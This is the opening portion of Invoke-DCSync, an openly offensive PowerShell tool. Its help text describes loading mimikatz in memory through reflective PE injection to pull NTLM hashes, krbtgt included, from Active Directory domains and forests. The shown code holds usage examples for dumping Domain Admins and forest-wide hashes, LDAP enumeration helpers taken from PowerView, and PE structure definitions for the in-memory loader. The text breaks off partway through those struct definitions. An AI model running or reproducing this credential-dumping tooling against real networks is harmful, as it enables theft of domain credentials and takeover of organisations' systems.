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function Invoke-DCSync
{
<#
.SYNOPSIS
Uses dcsync from mimikatz to collect NTLM hashes from the domain.
Author: @monoxgas
Improved by: @harmj0y
Invoke-ReflectivePEInjection
Author: Joe Bialek, Twitter: @JosephBialek
License: BSD 3-Clause
Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog: http://blog.gentilkiwi.com. Email: benjamin@gentilkiwi.com. Twitter @gentilkiwi
License: http://creativecommons.org/licenses/by/3.0/fr/
.DESCRIPTION
Uses a mimikatz dll in memory to call dcsync against a domain. By default, it will enumerate all active domain users along with the krbtgt, and print out their current NTLM hash. Thanks to @JosephBialek for the Invoke-ReflectivePEinjection from which this is heavily based. Thanks to @gentilkiwi for mimikatz, we all love you :) Big ups to @harmj0y for the powerview project. The Get-NetUser and Get-NetComputer code is ripped for this script.
.PARAMETER Users
Optional, An array of usernames to query hashes for (Passable on the Pipeline). krbtgt will automatically get added
.PARAMETER GroupName
Optional, groupname to query for users.
.PARAMETER UserFilter
A customized ldap filter string to use to query for users, e.g. "(description=*admin*)"
.PARAMETER GetComputers
Will pull the machine hashes as well. Default is false
.PARAMETER OnlyActive
Will only pull users whos account is active on the domain. Default is true
.PARAMETER PWDumpFormat
Formats the output in 'user:id:lm:ntlm:::' format. Default is false
.PARAMETER Domain
The domain to DCSync.
.PARAMETER DomainController
The specific domain controller to DC sync.
.PARAMETER DumpForest
Execute the user target options on ALL domains in the current forest.
Only works from an EA context ;)
.PARAMETER AllData
Prints out raw mimikatz output. Default is false
.EXAMPLE
> Invoke-DCSync -PWDumpFormat
Returns all active user hashes in 'user:id:lm:ntlm:::' format.
.EXAMPLE
> Invoke-DCSync -OnlyActive:$false -GetComputers
Returns all user and computer object hashes in the domain
.EXAMPLE
> Get-NetGroupMember -GroupName "EvilPeople" | % {$_.MemberName} | Invoke-DCSync
Returns the user hashes for account in the EvilPeople group
.EXAMPLE
> Invoke-DCSync -GroupName "Domain Admins" | ft -wrap -autosize
Returns the hashes from just the users in the "Domain Admins" group
.EXAMPLE
> Invoke-DCSync -UserFilter "(description=*admin*)" | ft -wrap -autosize
Returns the hashes from users with "admin" in their description.
.EXAMPLE
> Invoke-DCSync -DumpForest | ft -wrap -autosize
Returns user hashes from all domains in the forest.
.EXAMPLE
> Invoke-DCSync -DumpForest -Users @("krbtgt") | ft -wrap -autosize
Returns the krbtgt hashes from all domains in the forest.
#>
[CmdletBinding(DefaultParameterSetName="DumpCreds")]
Param(
[Parameter(Position = 0,ValueFromPipeline=$true)]
[Array[]]
$Users,
[String]
$GroupName,
[String]
$UserFilter,
[Switch]
$GetComputers = $false,
[Switch]
$OnlyActive = $true,
[Switch]
$PWDumpFormat = $false,
[String]
$Domain,
[String]
$DomainController,
[Switch]
$DumpForest = $false,
[Switch]
$AllData = $false
)
Set-StrictMode -Version 2
###################################
########## PowerView ############
###################################
function Translate-Name {
<#
.SYNOPSIS
Converts a user@fqdn to NT4 format.
.LINK
http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
#>
[CmdletBinding()]
param(
[String] $DomainObject
)
$Domain = ($DomainObject -split "@")[1]
$DomainObject = $DomainObject -replace "/","\"
# Accessor functions to simplify calls to NameTranslate
function Invoke-Method([__ComObject] $object, [String] $method, $parameters) {
$output = $object.GetType().InvokeMember($method, "InvokeMethod", $NULL, $object, $parameters)
if ( $output ) { $output }
}
function Set-Property([__ComObject] $object, [String] $property, $parameters) {
[Void] $object.GetType().InvokeMember($property, "SetProperty", $NULL, $object, $parameters)
}
$Translate = New-Object -comobject NameTranslate
try {
Invoke-Method $Translate "Init" (1, $Domain)
}
catch [System.Management.Automation.MethodInvocationException] { }
Set-Property $Translate "ChaseReferral" (0x60)
try {
Invoke-Method $Translate "Set" (5, $DomainObject)
(Invoke-Method $Translate "Get" (3))
}
catch [System.Management.Automation.MethodInvocationException] { $_ }
}
function Get-NetDomain {
<#
.PARAMETER Domain
The domain name to query for, defaults to the current domain.
.EXAMPLE
PS C:\> Get-NetDomain -Domain testlab.local
.LINK
http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
#>
[CmdletBinding()]
param(
[Parameter(ValueFromPipeline=$True)]
[String]
$Domain
)
process {
if($Domain) {
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch {
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
$Null
}
}
else {
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
}
}
function Get-NetForest {
<#
.PARAMETER Forest
The forest name to query for, defaults to the current domain.
#>
[CmdletBinding()]
param(
[Parameter(ValueFromPipeline=$True)]
[String]
$Forest
)
process {
if($Forest) {
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest)
try {
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
}
catch {
Write-Warning "The specified forest $Forest does not exist, could not be contacted, or there isn't an existing trust."
$Null
}
}
else {
# otherwise use the current forest
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
}
if($ForestObject) {
# get the SID of the forest root
$ForestSid = (New-Object System.Security.Principal.NTAccount($ForestObject.RootDomain,"krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value
$Parts = $ForestSid -Split "-"
$ForestSid = $Parts[0..$($Parts.length-2)] -join "-"
$ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid
$ForestObject
}
}
}
function Get-NetForestDomain {
<#
.PARAMETER Forest
The forest name to query domain for.
.PARAMETER Domain
Return domains that match this term/wildcard.
#>
[CmdletBinding()]
param(
[Parameter(ValueFromPipeline=$True)]
[String]
$Forest,
[String]
$Domain
)
process {
if($Domain) {
# try to detect a wild card so we use -like
if($Domain.Contains('*')) {
(Get-NetForest -Forest $Forest).Domains | Where-Object {$_.Name -like $Domain}
}
else {
# match the exact domain name if there's not a wildcard
(Get-NetForest -Forest $Forest).Domains | Where-Object {$_.Name.ToLower() -eq $Domain.ToLower()}
}
}
else {
# return all domains
$ForestObject = Get-NetForest -Forest $Forest
if($ForestObject) {
$ForestObject.Domains
}
}
}
}
function Get-DomainSearcher {
<#
.PARAMETER Domain
The domain to use for the query, defaults to the current domain.
.PARAMETER DomainController
Domain controller to reflect LDAP queries through.
.PARAMETER PageSize
The PageSize to set for the LDAP searcher object.
#>
[CmdletBinding()]
param(
[String]
$Domain,
[String]
$DomainController,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200
)
if(!$Domain) {
$Domain = (Get-NetDomain).name
}
else {
if(!$DomainController) {
try {
# if there's no -DomainController specified, try to pull the primary DC
# to reflect queries through
$DomainController = ((Get-NetDomain).PdcRoleOwner).Name
}
catch {
throw "Get-DomainSearcher: Error in retrieving PDC for current domain"
}
}
}
$DistinguishedName = "DC=$($Domain.Replace('.', ',DC='))"
$SearchString = "LDAP://"
if($DomainController) {
$SearchString += $DomainController + "/"
}
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$Searcher.PageSize = $PageSize
$Searcher
}
function Get-NetComputer {
<#
.PARAMETER Domain
The domain to query for computers, defaults to the current domain.
.PARAMETER DomainController
Domain controller to reflect LDAP queries through.
.LINK
https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1
#>
[CmdletBinding()]
Param (
[String]
$Domain,
[String]
$DomainController
)
begin {
# so this isn't repeated if users are passed on the pipeline
$CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController
}
process {
if ($CompSearcher) {
# server 2012 peculiarity- remove any mention to service pack
$CompSearcher.filter="(&(sAMAccountType=805306369))"
try {
$CompSearcher.FindAll() | Where-Object {$_} | ForEach-Object {
$_.properties.samaccountname[0]
}
}
catch {
Write-Warning "Error: $_"
}
}
}
}
function Get-NetGroupMember {
<#
.PARAMETER GroupName
The group name to query for users.
.PARAMETER Domain
The domain to query for group users, defaults to the current domain.
.PARAMETER DomainController
Domain controller to reflect LDAP queries through.
.LINK
http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$True, ValueFromPipeline=$True)]
[String]
$GroupName,
[String]
$Domain = (Get-NetDomain).Name,
[String]
$DomainController
)
begin {
# so this isn't repeated if users are passed on the pipeline
$GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController
}
process {
if ($GroupSearcher) {
$GroupSearcher.filter = "(&(samAccountType=268435456)(name=$GroupName))"
try {
$GroupDN = $GroupSearcher.FindOne().Properties.distinguishedname[0]
}
catch {
throw "Error resolving group '$GroupName'"
}
if ($GroupDN) {
# use the LDAP_MATCHING_RULE_IN_CHAIN recursion
$GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupDN))"
$GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName','samaccounttype','lastlogon','lastlogontimestamp','dscorepropagationdata','objectsid','whencreated','badpasswordtime','accountexpires','iscriticalsystemobject','name','usnchanged','objectcategory','description','codepage','instancetype','countrycode','distinguishedname','cn','admincount','logonhours','objectclass','logoncount','usncreated','useraccountcontrol','objectguid','primarygroupid','lastlogoff','samaccountname','badpwdcount','whenchanged','memberof','pwdlastset','adspath'))
$Members = $GroupSearcher.FindAll()
}
else {
Write-Error "Unable to find Group"
}
$Members | Where-Object {$_} | ForEach-Object {
$Properties = $_.Properties
# if the match ISN'T a group and the samaccount name exists
if(($Properties.samaccounttype -notmatch '268435456') -and ($Properties.samaccountname) ) {
$Properties.samaccountname[0]
}
}
}
}
}
function Get-NetUser {
<#
.PARAMETER UserName
Username filter string, wildcards accepted.
.PARAMETER Domain
The domain to query for users, defaults to the current domain.
.PARAMETER DomainController
Domain controller to reflect LDAP queries through.
.PARAMETER Filter
A customized ldap filter string to use, e.g. "(description=*admin*)"
#>
[CmdletBinding()]
param(
[Parameter(ValueFromPipeline=$True)]
[String]
$UserName,
[String]
$Domain,
[String]
$DomainController,
[String]
$Filter
)
begin {
# so this isn't repeated if users are passed on the pipeline
$UserSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController
}
process {
if($UserSearcher) {
# check if we're using a username filter or not
if($UserName) {
# samAccountType=805306368 indicates user objects
$UserSearcher.filter="(&(samAccountType=805306368)(samAccountName=$UserName)$Filter)"
}
else {
# filter is something like "(samAccountName=*blah*)" if specified
$UserSearcher.filter="(&(samAccountType=805306368)$Filter)"
}
$UserSearcher.FindAll() | Where-Object {$_} | ForEach-Object {
$_.Properties.samaccountname[0]
}
}
}
}
###################################
########## Win32 Stuff ##########
###################################
Function Get-Win32Types
{
$Win32Types = New-Object System.Object
#Define all the structures/enums that will be used
# This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html
$Domain = [AppDomain]::CurrentDomain
$DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
$ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
############ ENUM ############
#Enum MachineType
$TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null
$TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null
$TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null
$TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null
$MachineType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType
#Enum MagicType
$TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null
$MagicType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType
#Enum SubSystemType
$TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
$SubSystemType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType
#Enum DllCharacteristicsType
$TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
$TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
$TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
$TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
$TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
$DllCharacteristicsType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType
########### STRUCT ###########
#Struct IMAGE_DATA_DIRECTORY
$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)
($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null
($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
$IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY
#Struct IMAGE_FILE_HEADER
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
$TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
$IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER
#Struct IMAGE_OPTIONAL_HEADER64
$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)
($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null
($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null
($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null
($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null
($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null
($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null
($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null
($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null
$IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64
#Struct IMAGE_OPTIONAL_HEADER32
$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)
($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null
($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null
($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null
($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null
($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null
($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null
($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null
($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null
($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
$IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32
#Struct IMAGE_NT_HEADERS64
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)
$TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
$TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
$IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64
#Struct IMAGE_NT_HEADERS32
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
$TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
$TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null
$IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
